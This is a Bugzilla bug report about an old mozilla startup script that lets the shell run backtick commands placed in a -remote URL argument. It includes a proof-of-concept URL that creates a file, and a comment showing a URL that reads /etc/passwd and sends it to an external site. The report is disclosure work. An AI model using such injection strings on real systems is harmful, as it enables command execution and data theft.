Closed
Bug 246524
Opened 21 years ago
Closed 16 years ago
mozilla should protect special characters from interpretation by the shell
Categories
(Core Graveyard :: Cmd-line Features, defect)
Tracking
(Not tracked)
RESOLVED
WORKSFORME
People
(Reporter: vincent-moz, Unassigned)
Details
(Whiteboard: [sg:nse])
User-Agent: Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.7) Gecko/20040609 Build Identifier: Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.7) Gecko/20040609 The mozilla script doesn't protect special characters from being interpreted by the shell, allowing to run arbitrary code (in particular when mozilla is launched by another program). Reproducible: Always Steps to Reproduce: 1. In a shell, type mozilla -remote 'openurl(http://localhost/`echo>z`,new-tab)' Actual Results: The http://localhost/ URL is opened and a file "z" is created. Expected Results: The file "z" shouldn't have been created.
Reporter | ||
Comment 1•20 years ago
|
||
This bug is still present. BTW, Debian has a different startup script, with no eval command, so that this bug doesn't occur.
Hardware: Macintosh → All
Comment 2•20 years ago
|
||
Not a remote exploit, clearing confidential flag to hopefully gain some visibility.
Group: security
Severity: critical → normal
Status: UNCONFIRMED → NEW
Ever confirmed: true
Whiteboard: [sg:nse]
Reporter | ||
Comment 3•20 years ago
|
||
I disagree. It can be a remote exploit with user interaction. A click in your RSS feed reader to open a URL can be sufficient. Of course, I always check the URL before doing that, but I don't think every user does that.
Comment 4•20 years ago
|
||
It can even lead to information leak toward the site, imagine what the following URL will do http://www.mysite.tld/cgi-bin/collect.cgi?pass=`cat /etc/passwd`
Any chance of this getting fixed? Doesn't seem like it should be too hard; just use Debian's script as a reference.
Comment 6•16 years ago
|
||
Pretty sure this got fixed at some point: it certainly WFM with mozilla-central.
Status: NEW → RESOLVED
Closed: 16 years ago
Resolution: --- → WORKSFORME
Reporter | ||
Comment 7•16 years ago
|
||
Yes, the script from FF 3.5b4 looks OK.
You need to log in
before you can comment on or make changes to this bug.
Description
•